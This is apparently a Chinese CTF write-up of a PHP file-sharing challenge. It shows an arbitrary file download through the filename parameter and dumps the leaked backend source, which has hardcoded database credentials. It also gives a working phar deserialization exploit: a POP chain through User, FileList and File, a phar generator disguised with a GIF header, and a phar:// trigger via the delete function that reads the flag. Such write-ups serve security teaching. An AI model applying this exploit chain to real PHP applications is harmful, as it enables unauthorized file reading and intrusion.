题目:
![](https://i-blog.csdnimg.cn/blog_migrate/a6a22c7a7af8d0e2c898887424ad53ff.png)
先注册一个账号,登录上去。
![](https://i-blog.csdnimg.cn/blog_migrate/3e950b5331401338a07c885e5eec70bc.png)
可上传文件,随便传一个。
![](https://i-blog.csdnimg.cn/blog_migrate/5ab7285ec7d9a6f4a0aaf0e1bd0e069b.png)
有下载功能,burp抓包。
![](https://i-blog.csdnimg.cn/blog_migrate/be59ace67b81879aea3b03542da0ba3e.png)
修改下载文件名filename,发现有文件操作的漏洞。
![](https://i-blog.csdnimg.cn/blog_migrate/c774a6370985dd5f6fe59481dfe54e23.png)
![](https://i-blog.csdnimg.cn/blog_migrate/207bf15ae89d6ae34476bfec4de47404.png)
下载成功。 再尝试其他的文件。
![](https://i-blog.csdnimg.cn/blog_migrate/e80c79f867385128d21f39b6d7bb729b.png)
可以拿到这些后端文件。
二、源码
download.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
delete.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
class.php
<?ph
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
题目标签提示是一道反序列化的题目,但是没有找到明显的可以输入序列化数据的地方。
我们了解一下另一种利用反序列化的手段:phar反序列化。
必须要看这篇文章。
本题是否符合phar反序列化的条件?
1. phar文件要能够上传到服务器端。
如file_exists(),fopen(),file_get_contents(),file()等文件操作的函数
2. 要有可用的魔术方法作为“跳板”。
3. 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。
符合。
三、构造pop链和phar反序列化。
提取一下class.php中的要用的方法。
class User {
public $db;
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
}
class File {
public $filename;
public function close() {
return file_get_contents($this->filename);
}
}
__destruct(),类被坠摧毁时调用
__call(),在对象中调用一个不可访问方法时调用
思路为:
$User->db=new FileList() ——》$FileList->close() ——》$FileList->__call() ——》
$File->close()
具体代码为
phar.php
<?php
class User {
public $db;
}
class File {
public $filename;
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct() {
$this->files = array();
$this->results = array();
$this->funcs = array();
$file = new File();
$file->filename = '/flag.txt';
array_push($this->files, $file);
}
}
$user = new User();
$filelist = new FileList();
$user->db = $filelist;
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($user);
$phar->addFromString("123.txt", "123");
$phar->stopBuffering();
?>
执行之后回生成一个.phar文件,但是执行前需要
将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
修改php.ini后,执行phar.php。在同目录下生成了一个phar.phar文件。
![](https://i-blog.csdnimg.cn/blog_migrate/f9b1cb58c061408ae7ed5ae5500539bb.png)
将其改名为phar.gif
![](https://i-blog.csdnimg.cn/blog_migrate/8d463aba3ea476562c256ede1fe640bc.png)
上传。
![](https://i-blog.csdnimg.cn/blog_migrate/e632d211fd95614f009de2d3956456cf.png)
该怎么利用?
在download.php中有这么一条语句。
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
说明
只可以访问当前目录、/etc和/tmp三个目录
引用:
还好我们可以在delete.php的删除功能下操作。
点击删除,burp抓包,修改filename为: phar://phar.gif
![](https://i-blog.csdnimg.cn/blog_migrate/e3bda4e8f99759622581b4000aa30ca6.png)
引用:
https://xz.aliyun.com/t/2715
https://blog.csdn.net/mumama1/article/details/128923150#:~:text=ini_set%20%28%E2%80%9Copen_basedir%E2%80%9D%2C%20getcwd%20%28%29.%20%E2%80%9C%3A%2Fetc%3A%2Ftmp%E2%80%9D%29%3B,%E5%B0%B1%E6%98%AF%E5%8F%AA%E5%8F%AF%E4%BB%A5%E8%AE%BF%E9%97%AE%E5%BD%93%E5%89%8D%E7%9B%AE%E5%BD%95%E3%80%81%2Fetc%E5%92%8C%2Ftmp%E4%B8%89%E4%B8%AA%E7%9B%AE%E5%BD%95%20function%20__call%20%28%24func%2C%20%24args%29